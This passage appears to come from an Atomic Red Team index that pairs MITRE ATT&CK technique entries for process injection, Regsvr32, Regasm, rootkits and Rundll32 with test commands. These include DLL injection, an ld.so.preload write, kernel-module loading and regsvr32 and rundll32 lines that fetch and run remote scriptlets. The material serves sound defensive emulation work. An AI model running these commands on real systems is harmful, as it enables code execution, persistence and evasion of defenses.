url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/
x_mitre_defense_bypassed:
- Application whitelisting
- Process whitelisting
- Whitelisting by file name or path
identifier: T1150
atomic_tests:
- name: Plist Modification
description: 'Modify MacOS plist file in one of two directories
'
supported_platforms:
- macos
executor:
name: manual
steps: |
1. Modify a .plist in
/Library/Preferences
OR
~/Library/Preferences
2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md)
T1055:
technique:
x_mitre_permissions_required:
- User
- Administrator
- SYSTEM
- root
x_mitre_data_sources:
- API monitoring
- Windows Registry
- File monitoring
- DLL monitoring
- Process monitoring
- Named Pipes
name: Process Injection
description: |-
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
### Windows
There are multiple approaches to injecting code into a live process. Windows implementations include: (Citation: Endgame Process Injection July 2017)
* **Dynamic-link library (DLL) injection** involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
* **Portable executable injection** involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue. (Citation: Endgame HuntingNMemory June 2017)
* **Thread execution hijacking** involves injecting malicious code or the path to a DLL into a thread of a process. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), the thread must first be suspended.
* **Asynchronous Procedure Call** (APC) injection involves attaching malicious code to the APC Queue (Citation: Microsoft APC) of a process's thread. Queued APC functions are executed when the thread enters an alterable state. A variation of APC injection, dubbed "Early Bird injection", involves creating a suspended process in which malicious code can be written and executed before the process' entry point (and potentially subsequent anti-malware hooks) via an APC. (Citation: CyberBit Early Bird Apr 2018) AtomBombing (Citation: ENSIL AtomBombing Oct 2016) is another variation that utilizes APCs to invoke malicious code previously written to the global atom table. (Citation: Microsoft Atom Table)
* **Thread Local Storage** (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. (Citation: FireEye TLS Nov 2017)
### Mac and Linux
Implementations for Linux and OS X/macOS systems include: (Citation: Datawire Code Injection) (Citation: Uninformed Needle)
* **LD_PRELOAD, LD_LIBRARY_PATH** (Linux), **DYLD_INSERT_LIBRARIES** (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process. (Citation: Phrack halfdead 1997)
* **Ptrace system calls** can be used to attach to a running process and modify it in runtime. (Citation: Uninformed Needle)
* **/proc/[pid]/mem** provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity. (Citation: Uninformed Needle)
* **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009)
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d
modified: '2019-07-18T17:27:02.580Z'
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017)
Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits)
Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017)
Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Anastasios Pingios
- Christiaan Beek, @ChristiaanBeek
- Ryan Becwar
created: '2017-05-31T21:30:47.843Z'
x_mitre_effective_permissions:
- User
- Administrator
- SYSTEM
- root
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: privilege-escalation
external_references:
- external_id: T1055
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1055
- source_name: capec
external_id: CAPEC-640
url: https://capec.mitre.org/data/definitions/640.html
- source_name: Endgame Process Injection July 2017
description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
A Technical Survey Of Common And Trending Process Injection Techniques.
Retrieved December 7, 2017.'
url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
- source_name: Endgame HuntingNMemory June 2017
description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December
7, 2017.
url: https://www.endgame.com/blog/technical-blog/hunting-memory
- source_name: Microsoft APC
description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December
8, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx
- source_name: CyberBit Early Bird Apr 2018
description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’
Code Injection Technique Discovered. Retrieved May 24, 2018.
url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/
- source_name: ENSIL AtomBombing Oct 2016
description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE
INJECTION FOR WINDOWS. Retrieved December 8, 2017.'
url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows
- source_name: Microsoft Atom Table
description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.
url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx
- source_name: FireEye TLS Nov 2017
description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
Retrieved December 18, 2017.
url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
- source_name: Datawire Code Injection
description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for
a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved
December 20, 2017.'
url: https://www.datawire.io/code-injection-on-linux-and-macos/
- source_name: Uninformed Needle
description: skape. (2003, January 19). Linux x86 run-time process manipulation.
Retrieved December 20, 2017.
url: http://hick.org/code/skape/papers/needle.txt
- source_name: Phrack halfdead 1997
description: halflife. (1997, September 1). Shared Library Redirection Techniques.
Retrieved December 20, 2017.
url: http://phrack.org/issues/51/8.html
- source_name: VDSO hijack 2009
description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via
GOT poisoning. Retrieved December 20, 2017.
url: http://vxer.org/lib/vrn00.html
- source_name: ArtOfMemoryForensics
description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
December 20, 2017.'
- source_name: GNU Acct
description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
December 20, 2017.
url: https://www.gnu.org/software/acct/
- source_name: RHEL auditd
description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
Chapter 7 - System Auditing. Retrieved December 20, 2017.
url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
- source_name: Chokepoint preload rootkits
description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
Retrieved December 20, 2017.
url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
- source_name: Microsoft Sysmon v6 May 2017
description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
December 13, 2017.
url: https://docs.microsoft.com/sysinternals/downloads/sysmon
- source_name: Powersploit
description: PowerSploit. (n.d.). Retrieved December 4, 2014.
url: https://github.com/mattifestation/PowerSploit
x_mitre_defense_bypassed:
- Process whitelisting
- Anti-virus
identifier: T1055
atomic_tests:
- name: Process Injection via mavinject.exe
description: 'Windows 10 Utility To Inject DLLS
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to Inject
type: Path
default: C:\AtomicRedTeam\atomics\T1055\src\x64\T1055.dll
process_id:
description: PID of input_arguments
type: Int
default: "$pid"
executor:
name: powershell
elevation_required: true
command: 'mavinject #{process_id} /INJECTRUNNING #{dll_payload}
'
- name: Process Injection via PowerSploit
description: 'PowerShell Injection using [PowerSploit Invoke-DLLInjection](https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1)
'
supported_platforms:
- windows
input_arguments:
dll_payload:
description: DLL to Inject
type: Path
default: T1055.dll
process_id:
description: PID of input_arguments
type: Int
default: "$pid"
executor:
name: powershell
elevation_required: true
command: 'Invoke-DllInjection.ps1 -ProcessID #{process_id} -Dll #{dll_payload}
'
- name: Shared Library Injection via /etc/ld.so.preload
description: 'This test adds a shared library to the `ld.so.preload` list to
execute and intercept API calls. This technique was used by threat actor Rocke
during the exploitation of Linux web servers. This requires the `glibc` package.
'
supported_platforms:
- linux
input_arguments:
path_to_shared_library:
description: Path to a shared library object
type: Path
default: "/tmp/evil_module.so"
executor:
name: bash
command: 'echo #{path_to_shared_library} > /etc/ld.so.preload
'
- name: Process Injection via C#
description: |
Process Injection using C#
reference: https://github.com/pwndizzle/c-sharp-memory-injection
Excercises Five Techniques
1. Process injection
2. ApcInjectionAnyProcess
3. ApcInjectionNewProcess
4. IatInjection
5. ThreadHijack
supported_platforms:
- windows
input_arguments:
exe_binary:
description: Output Binary
type: Path
default: T1055.exe
executor:
name: command_prompt
command: ".\\bin\\#{exe_binary}\n"
T1121:
technique:
x_mitre_data_sources:
- Process monitoring
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Regsvcs/Regasm
description: |-
Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm)
Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
x_mitre_remote_support: false
id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302
modified: '2019-07-31T19:26:35.927Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and
Regasm.exe with prior history of known good arguments and executed binaries
to determine anomalous and potentially adversarial activity. Command arguments
used before and after Regsvcs.exe or Regasm.exe invocation may also be useful
in determining the origin and purpose of the binary being executed.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
created: '2017-05-31T21:31:33.499Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1121
url: https://attack.mitre.org/techniques/T1121
- description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool).
Retrieved July 1, 2016.
source_name: MSDN Regsvcs
url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx
- description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved
July 1, 2016.
source_name: MSDN Regasm
url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx
- description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regsvcs
url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
- description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regasm
url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/
x_mitre_defense_bypassed:
- Process whitelisting
- Digital Certificate Validation
identifier: T1121
atomic_tests:
- name: Regasm Uninstall Method Call Test
description: 'Executes the Uninstall Method, No Admin Rights Required
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Location of the payload
type: Path
default: T1121.dll
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
executor:
name: command_prompt
elevation_required: false
command: |
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U #{file_name}
del #{file_name}
- name: Regsvs Uninstall Method Call Test
description: 'Executes the Uninstall Method, No Admin Rights Required, Requires
SNK
'
supported_platforms:
- windows
input_arguments:
file_name:
description: Location of the payload
type: Path
default: T1121.dll
source_file:
description: Location of the CSharp source_file
type: Path
default: C:\AtomicRedTeam\atomics\T1121\src\T1121.cs
executor:
name: powershell
elevation_required: false
command: |
$key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi53Yg4='
$Content = [System.Convert]::FromBase64String($key)
Set-Content key.snk -Value $Content -Encoding Byte
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /target:library /keyfile:key.snk #{source_file}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe #{file_name}
del #{file_name}
del key.snk
T1117:
technique:
x_mitre_data_sources:
- Loaded DLLs
- Process monitoring
- Windows Registry
- Process command-line parameters
x_mitre_permissions_required:
- User
- Administrator
name: Regsvr32
description: |-
Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32)
Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary.
Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov)
Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016)
x_mitre_remote_support: false
id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a
modified: '2019-07-31T19:31:54.893Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.2'
type: attack-pattern
x_mitre_detection: 'Use process monitoring to monitor the execution and arguments
of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history
of known good arguments and loaded files to determine anomalous and potentially
adversarial activity. Command arguments used before and after the regsvr32.exe
invocation may also be useful in determining the origin and purpose of the
script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Casey Smith
created: '2017-05-31T21:31:26.966Z'
kill_chain_phases:
- phase_name: defense-evasion
kill_chain_name: mitre-attack
- phase_name: execution
kill_chain_name: mitre-attack
external_references:
- source_name: mitre-attack
external_id: T1117
url: https://attack.mitre.org/techniques/T1117
- description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and
troubleshoot Regsvr32 error messages. Retrieved June 22, 2016.
source_name: Microsoft Regsvr32
url: https://support.microsoft.com/en-us/kb/249873
- description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019.
source_name: LOLBAS Regsvr32
url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
- description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo”
Continues Trend of Attackers Using Native OS Tools to “Live off the Land”.
Retrieved April 9, 2018.'
source_name: Carbon Black Squiblydoo Apr 2016
url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/
- description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing
Techniques Used in Attacks Targeting the Mongolian Government. Retrieved
February 24, 2017.
source_name: FireEye Regsvr32 Targeting Mongolian Gov
url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html
x_mitre_defense_bypassed:
- Process whitelisting
- Anti-virus
- Digital Certificate Validation
identifier: T1117
atomic_tests:
- name: Regsvr32 local COM scriptlet execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
filename:
description: Name of the local file, include path.
type: Path
default: C:\AtomicRedTeam\atomics\T1117\RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: 'regsvr32.exe /s /u /i:#{filename} scrobj.dll
'
- name: Regsvr32 remote COM scriptlet execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
url:
description: URL to hosted sct file
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct
executor:
name: command_prompt
elevation_required: false
command: 'regsvr32.exe /s /u /i:#{url} scrobj.dll
'
- name: Regsvr32 local DLL execution
description: 'Regsvr32.exe is a command-line program used to register and unregister
OLE controls
'
supported_platforms:
- windows
input_arguments:
dll_name:
description: Name of DLL to Execute, DLL Should export DllRegisterServer
type: Path
default: C:\AtomicRedTeam\atomics\T1117\bin\AllTheThingsx86.dll
executor:
name: command_prompt
elevation_required: false
command: '"IF "%PROCESSOR_ARCHITECTURE%"=="AMD64" (C:\Windows\syswow64\regsvr32.exe
/s #{dll_name}) ELSE ( regsvr32.exe /s #{dll_name} )"
'
T1014:
technique:
x_mitre_data_sources:
- BIOS
- MBR
- System calls
x_mitre_permissions_required:
- Administrator
- SYSTEM
- root
name: Rootkit
description: |-
Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit)
Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)
id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: 'Some rootkit protections may be built into anti-virus or
operating system software. There are dedicated rootkit detection tools that
look for specific types of rootkit behavior. Monitor for the existence of
unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia
Rootkit)'
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-18T13:56:09.440Z'
created: '2017-05-31T21:30:26.496Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
external_references:
- external_id: T1014
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1014
- source_name: capec
external_id: CAPEC-552
url: https://capec.mitre.org/data/definitions/552.html
- source_name: Symantec Windows Rootkits
description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December
21, 2017.
url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf
- source_name: Wikipedia Rootkit
description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016.
url: https://en.wikipedia.org/wiki/Rootkit
- description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit.
Retrieved December 21, 2017.
source_name: CrowdStrike Linux Rootkit
url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/
- source_name: BlackHat Mac OSX Rootkit
description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit
uses the tricks you haven''t known yet. Retrieved December 21, 2017.'
url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf
x_mitre_defense_bypassed:
- File monitoring
- Host intrusion prevention systems
- Process whitelisting
- Signature-based detection
- System access controls
- Whitelisting by file name or path
- Anti-virus
identifier: T1014
atomic_tests:
- name: Loadable Kernel Module based Rootkit
description: 'Loadable Kernel Module based Rootkit
'
supported_platforms:
- linux
input_arguments:
rootkit_file:
description: Path To Module
type: String
default: Module.ko
executor:
name: sh
command: 'sudo insmod #{rootkit_file}
'
- name: Loadable Kernel Module based Rootkit
description: 'Loadable Kernel Module based Rootkit
'
supported_platforms:
- linux
input_arguments:
rootkit_file:
description: Path To Module
type: String
default: Module.ko
executor:
name: sh
command: 'sudo modprobe #{rootkit_file}
'
- name: Windows Signed Driver Rootkit Test
description: |
This test exploits a signed driver to execute code in Kernel.
SHA1 C1D5CF8C43E7679B782630E93F5E6420CA1749A7
We leverage the work done here:
https://zerosum0x0.blogspot.com/2017/07/puppet-strings-dirty-secret-for-free.html
The hash of our PoC Exploit is
SHA1 DD8DA630C00953B6D5182AA66AF999B1E117F441
This will simulate hiding a process.
It would be wise if you only run this in a test environment
supported_platforms:
- windows
input_arguments:
driver_path:
description: Path to the vulnerable driver
type: Path
default: C:\Drivers\driver.sys
executor:
name: command_prompt
command: 'puppetstrings #{driver_path}
'
T1085:
technique:
x_mitre_data_sources:
- File monitoring
- Process monitoring
- Process command-line parameters
- Binary file metadata
x_mitre_permissions_required:
- User
name: Rundll32
description: |-
The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.
Rundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)
Rundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)
x_mitre_remote_support: false
id: attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5
modified: '2019-06-24T19:18:55.792Z'
x_mitre_platforms:
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.1'
type: attack-pattern
x_mitre_detection: Use process monitoring to monitor the execution and arguments
of rundll32.exe. Compare recent invocations of rundll32.exe with prior history
of known good arguments and loaded DLLs to determine anomalous and potentially
adversarial activity. Command arguments used with the rundll32.exe invocation
may also be useful in determining the origin and purpose of the DLL being
loaded.
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
x_mitre_contributors:
- Ricardo Dias
- Casey Smith
created: '2017-05-31T21:31:06.045Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1085
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1085
- description: Merces, F. (2014). CPL Malware Malicious Control Panel Items.
Retrieved November 1, 2017.
source_name: Trend Micro CPL
url: https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf
- description: B. Ancel. (2014, August 20). Poweliks – Command Line Confusion.
Retrieved March 5, 2018.
source_name: This is Security Command Line Confusion
url: https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/
x_mitre_defense_bypassed:
- Anti-virus
- Application whitelisting
- Digital Certificate Validation
identifier: T1085
atomic_tests:
- name: Rundll32 execute JavaScript Remote Payload With GetObject
description: 'Test execution of a remote script using rundll32.exe
'
supported_platforms:
- windows
input_arguments:
file_url:
description: location of the payload
type: Url
default: https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1085/T1085.sct
executor:
name: command_prompt
elevation_required: false
command: 'rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();"
'
T1064:
technique:
x_mitre_permissions_required:
- User
x_mitre_data_sources:
- Process monitoring
- File monitoring
- Process command-line parameters
name: Scripting
description: |-
Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and [PowerShell](https://attack.mitre.org/techniques/T1086) but could also be in the form of command-line batch scripts.
Scripts can be embedded inside Office documents as macros that can be set to execute when files used in [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), where adversaries will rely on macros being allowed or that the user will accept to activate them.
Many popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. Metasploit (Citation: Metasploit_Ref), Veil (Citation: Veil_Ref), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)
id: attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44
x_mitre_platforms:
- Linux
- macOS
- Windows
object_marking_refs:
- marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
x_mitre_version: '1.0'
type: attack-pattern
x_mitre_detection: |-
Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.
Analyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as winword.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)
created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
modified: '2019-06-24T13:41:53.706Z'
created: '2017-05-31T21:30:51.733Z'
kill_chain_phases:
- kill_chain_name: mitre-attack
phase_name: defense-evasion
- kill_chain_name: mitre-attack
phase_name: execution
external_references:
- external_id: T1064
source_name: mitre-attack
url: https://attack.mitre.org/techniques/T1064
- description: Metasploit. (n.d.). Retrieved December 4, 2014.
